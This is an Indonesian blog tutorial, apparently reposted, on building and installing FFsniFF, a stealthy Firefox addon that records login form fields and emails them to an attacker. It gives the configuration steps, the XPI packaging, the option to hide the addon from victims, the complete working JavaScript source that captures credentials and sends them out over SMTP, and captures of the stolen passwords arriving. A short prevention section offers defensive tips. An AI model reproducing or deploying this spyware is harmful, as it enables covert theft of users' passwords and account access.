Firefox adalah browser andalan saya, terutama untuk
urusan penetration testing. Firefox memiliki banyak sekali
addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun
tidak semua addon membantu pengguna, ada juga addon yang menyadap dan
mengirimkan username/password pengguna ketika login ke email attacker,
addon itu adalah FFsniFF.
Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di
browser korban dan mengirimkan hasil sadapannya ke email saya di
ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF
dengan membedah source codenya.
Sekilas tentang addon Firefox
Addon firefox adalah program dalam javascript yang diload dan diaktifkan
setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal
yang tidak disediakan oleh firefox (firefox hanya menyediakan
fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di
status bar, toolbar atau boleh juga tidak memiliki antarmuka sama
sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka
pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini
harus bersifat stealth.
Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi
filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi
tersebut ada banyak file dan folder lain seperti source code javascript,
gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah
paket zippy adalah:
1 2 3 4 5 6 7 8 9 10 11 | exampleExt.xpi: /install.rdf /components/* /components/cmdline.js /defaults/ /defaults/preferences/*.js /plugins/* /chrome.manifest /chrome/icons/default/* /chrome/ /chrome/content/ |
install.rdf adalah deskriptor untuk keperluan
instalasi. Selain itu di dalam paket itu juga ada file javascript yang
berisi kode program yang menjalankan fungsi addon. Selebihnya adalah
file-file untuk menangani user interface addon.
Membuat paket instalasi ffsniff.xpi
Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
1 2 3 4 5 6 7 8 9 | pkg_creator.py src/ src/install.rdf src/chrome/ src/chrome/content/ src/chrome/content/ffsniff/ src/chrome/content/ffsniff/ffsniffOverlay.xul src/chrome/content/ffsniff/ffsniffOverlay_orig.js src/chrome/content/ffsniff/contents.rdf |
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih
berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket
zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan
script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya
tidak memakai script itu agar saya bisa menunjukkan bagaimana proses
pembuatan file xpi dari source code.
Setelah source berhasil didownload, berikutnya saya harus membuat file
ffsniffOverlay.js, caranya adalah dengan mengcopy file
ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu
ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel
berikut:
1 2 3 4 5 6 7 | var send_from_host = "<SEND_FROM_HOST>"; var send_from = "<SEND_FROM>"; var send_to = "<SEND_TO>"; var subject = "<SUBJECT>"; var smtp_host = "<SMTP_HOST>"; var smtp_port = "<SMTP_PORT>"; var enable_hide = "<HIDDING>"; |
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui
smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim
email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain
email yang kita tuju, dalam kasus ini domain email tujuan adalah
@ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang
bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah
dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan
layanan dnswatch.info
untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping,
terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host
yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain
lain biasanya mail server adalah mail.domainanda.com.
send_from dan send_to saya isi dengan nilai yang sama, yaitu
testing@ilmuhacking.com, alamat itu adalah alamat email asal dan
tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam
domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak
bersedia mengirimkan email ke domain lain (istilahnya open relay) bila
pengirim tidak memasukkan password dulu (anonymous).
enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata
variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon
sehingga tidak membuat korban curiga. Bila anda masih coba-coba,
sebaiknya isi dulu dengan “no”.
smtp_port adalah port smtp server, port standar untuk layanan smtp
adalah 25. subject adalah subject dari email yang akan berisi password
korban.
1 2 3 4 5 6 7 | var send_from_host = "ilmuhacking.com"; var send_from = "testing@ilmuhacking.com"; var send_to = "testing@ilmuhacking.com"; var subject = "Log Firefox Sniffer"; var smtp_host = "ilmuhacking.com"; var smtp_port = "25"; var enable_hide = "no"; |
Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain
dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus
membaca MX record dari domain telkom.net, ternyata MX record untuk
telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah
mau pilih yang mana saja. Karena memakai smtp server telkom.net, email
tujuan harus berada di domain @telkom.net, di sini saya pakai
rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email
tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu
tidak masalah. send_from_host saya isi dengan telkom.net karena ini
adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net
adalah sebagai berikut:
1 2 3 4 5 6 7 | var send_from_host = "telkom.net"; var send_from = "rizki.wicaksono@telkom.net"; var send_to = "rizki.wicaksono@telkom.net"; var subject = "Log Firefox Sniffer"; var smtp_host = "mx1.mail.plasa.com"; var smtp_port = "25"; var enable_hide = "no"; |
Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah,
langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi
filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang
dimasukkan dalam ffsniff.jar adalah:
content/ffsniff/contents.rdf content/ffsniff/ffsniffOverlay.js content/ffsniff/ffsniffOverlay.xul |
Hasil file ffsniff.jar harus mengikutsertakan folder
content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan
foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent
folder dari content/ffsniff. Anda bebas menggunakan program apa saja
untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka
dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini,
perhatikan kolom pathnya harus berisi seperti itu.
Membuat file ffsniff.xpi
Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat
paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun
ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:
install.rdf chrome/ffsniff.jar |
Jangan lupa juga ffsniff.jar harus dizip dalam folder
chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan
winrar, perhatikan juga kolom pathnya harus tepat seperti itu.
Instalasi Firefox Sniffer
Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer.
Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi
adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi
pada addressbar firefox. Setelah muncul daftar file di firefox, klik
file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada
gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart
firefox anda.
Mencoba login ke yahoo
Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono.
Setelah login, saya periksa inbox email testing@ilmuhacking.com.
Ternyata email hasil sniff password ketika login ke yahoo sudah masuk.
Isi emailnya terlihat pada gambar di bawah ini.
Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat
username dan password tapi semua field dengan tag input (input
type=”xxx”) dari form, yaitu: password field, hidden field, text field,
checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan
nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field
tersebut kosong, field tersebut tidak akan dikirim.
Email Sniffer Log
Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:
1 2 3 4 5 6 7 8 9 | Return-path: <testing@ilmuhacking.com> Envelope-to: testing@ilmuhacking.com Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600 Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com) by gator669.hostgator.com with esmtp (Exim 4.69) (envelope-from <testing@ilmuhacking.com>) id 1Lcywa-0002DK-Jj for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600 Subject: Log Firefox Sniffer |
Dalam email tersebut hanya ada 1 header Received, yaitu dari host
202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp
server yang saya pakai kebetulan adalah smtp server yang paling dekat
dengan si penerima sehingga tidak perlu dioper ke smtp server lain.
Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:
Return-Path: <rizki.wicaksono@telkom.net> Received: from [125.160.17.193] (HELO mx1.mail.telkom.net) by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9) with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700 Received: from mx1.mail.plasa.com ([222.124.18.71]) by mx1.mail.telkom.net with esmtp id 1LeiKy-0001qP-O1 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912" Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx]) by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700 Subject: Log Firefox Sniffer X-HAM-Check: YES Date: Wed, 04 Mar 2009 11:05:27 +0700 Message-ID: <auto-000690188427@f1.c.plasa.com> |
Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah
mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF.
Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir
dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling
dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung
mengirim email ke telkom.net dengan menggunakan smtp server
f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke
mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun
perlu dioper sebanyak 2 kali untuk sampai di tujuan.
FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff
tidak melakukan authentication sebelum mengirimkan email. SMTP server
tidak mungkin menolak email yang ditujukan untuk domain yang dikelola
dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa
authentication), sebab bila smtp server menolak email untuk dirinya
sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.
Karena dikirimkan secara anonymous maka email tersebut tidak bisa
ditujukan ke domain lain selain ilmuhacking.com karena smtp server
tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman
email ke domain lain. Bila ingin mengirimkan email untuk domain lain
tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp
AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak
akan menjelaskan terlalu panjang soal email, di lain kesempatan akan
saya bahas detil cara kerja email.
PencegahanBad guys already know about FFsniff since 3 years ago
FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu
sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking.
Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:
Berikut ini tips agar tidak menjadi korban FFsniff:
- Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
- Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
- Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
- Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
1 | C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\ |
Kemudian perhatikan file install.rdf, dalam file itu
terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di
dalamnya lagi untuk membaca file dot js dari ffsniff.
How FFsniff Works
Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian
mendapatkan password ketika ada yang login di firefox yang telah
dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff
ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini
berisi semua code yang melakukan sniffing. Berikut adalah source code
lengkap ffsniffOverlay.js.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService); var transport = ""; var outstream = ""; var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream); var stream = ""; // find out FF version var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo); var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator); var data = ""; var data0 = "EHLO " + send_from_host + "\r\n" var data1 = "MAIL FROM: <" + send_from + ">\r\n" var data2 = "RCPT TO: <" + send_to + ">\r\n" var data3 = "DATA\r\n" var data4 = "\r\n.\r\n" var data5 = "QUIT\r\n" function send_data() { transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null); outstream = transport.openOutputStream(0, 0, 0); stream = transport.openInputStream(0, 0, 0); instream.init(stream); // this will avoid 'Improper use of SMTP command pipelining' // error on SMTP servers outstream.write(data0, data0.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data1, data1.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data2, data2.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data3, data3.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data, data.length); // don't read here cos no data was send to us //while (instream.available() == 0) {} //instream.read(instream.available()); outstream.write(data4, data4.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data5, data5.length); while (instream.available() == 0) {} outstream.close(); instream.close(); } if (versionChecker.compare(appInfo.version, "3.0") >= 0) { var workingThread = function() { }; workingThread.prototype = { run: function() { send_data(); } }; } else { var runnable = { run: function() { send_data(); } } } function sniff() { // if we are running under 3.0 or later if (versionChecker.compare(appInfo.version, "3.0") >= 0) { var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0); thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL); } else { var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread); thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE); } } function do_sniff() { var ok = 0; var hesla = window.content.document.getElementsByTagName("input"); data = ""; for (var i = 0; i < hesla.length; i++) { if (hesla[i].value != "") { if (hesla[i].type == "password") { ok = 1; } if (hesla[i].name == "") { data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n"; } else { data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n"; } } } if (ok == 1) { data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data; sniff() } } function hide_me() { var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService); var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer); var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource; var root = RDFService.GetResource("urn:mozilla:item:root"); var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name"); Container.Init(extensionDS, root); var elements = Container.GetElements(); while (elements.hasMoreElements()) { var element = elements.getNext(); var name = ""; var target = extensionDS.GetTarget(element, nameArc, true); if (target) { name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value; if (name == "FFsniFF") { Container.RemoveElement(element, true); } } } } if (enable_hide == "yes") { hide_me(); } window.addEventListener("submit", do_sniff, false); |
Perhatikan baris ke-127 pada source di atas, bila enable_hide diset
“yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me()
bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak
disadari pengguna. Cara menyembunyikan diri adalah dengan cara
menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila
element itu bernama “FFsniFF”.
Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris
terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk
mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff
akan dijalankan setiap kali terjadi event submit. Event submit akan
terjadi bila ada request POST di browser, antara lain dengan melalui
klik tombol bertipe submit (input type=”submit”). Namun tidak hanya
melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan
cara apapun, bila terjadi request POST di browser, event submit akan
terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih
jelasnya perhatikan gambar di atas.
Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam
fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang
ada dengan fungsi window.content.document.getElementsByTagName(“input”).
Kemudian semua field tersebut akan digabung dalam variabel string data.
Hanya bila dalam form tersebut terdapat password field (input
type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form
biasa (bukan form login), ffsniffer tidak akan mengirim email.
Bila mengandung password field, berikutnya fungsi sniff (baris ke-73)
akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan
thread. Thread tersebut bertugas melakukan pengiriman email dengan
memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka
koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk
mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah
komunikasi yang terjadi ketika email dikirim ke telkom.net:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | 220-mx1.mail.plasa.com ESMTP 220 UBE, porn, and abusive content not allowed EHLO telkom.net 250-mx1.mail.plasa.com 250-8BITMIME 250 SIZE 20971520 MAIL FROM: <rizki.wicaksono@telkom.net> 250 sender <rizki.wicaksono@telkom.net> ok RCPT TO: <rizki.wicaksono@telkom.net> 250 recipient <rizki.wicaksono@telkom.net> ok DATA 354 go ahead Subject: Log Firefox Sniffer https://login.yahoo.com/config/login? type:name:value --------------- hidden:.tries:2 hidden:.intl:us hidden:.u:6220o3t4qrv31 hidden:.v:0 hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_ hidden:hasMsgr:0 hidden:.chkP:Y hidden:.done:http://my.yahoo.com hidden:.pd:_ver=0&c=&ivt=&sg= text:login:rizkiwicaksono password:passwd:inipasswordku checkbox:.persistent:y submit:.save:Sign In . 250 ok: Message 119895912 accepted 221 mx1.mail.plasa.com QUIT |
Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:
220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail. EHLO ilmuhacking.com 250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx] 250-SIZE 52428800 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP MAIL FROM: <testing@ilmuhacking.com> 250 OK RCPT TO: <testing@ilmuhacking.com> 250 Accepted DATA 354 Enter message, ending with "." on a line by itself Subject: Log Firefox Sniffer https://login.yahoo.com/config/login? type:name:value --------------- hidden:.tries:1 hidden:.intl:us hidden:.u:eljvtc94qs023 hidden:.v:0 hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw hidden:hasMsgr:0 hidden:.chkP:Y hidden:.done:http://my.yahoo.com hidden:.pd:_ver=0&c=&ivt=&sg= text:login:rizkiwicaksono password:passwd:inipasswordakujuga checkbox:.persistent:y submit:.save:Sign In . 250 OK id=1LeiW6-0002zu-LA QUIT 221 gator669.hostgator.com closing connection |
Dengan selesainya eksekusi send_data() maka ffsniff telah selesai
menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur”
menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan
password.
sumbernya dari sini
sumbernya dari sini
No comments:
Post a Comment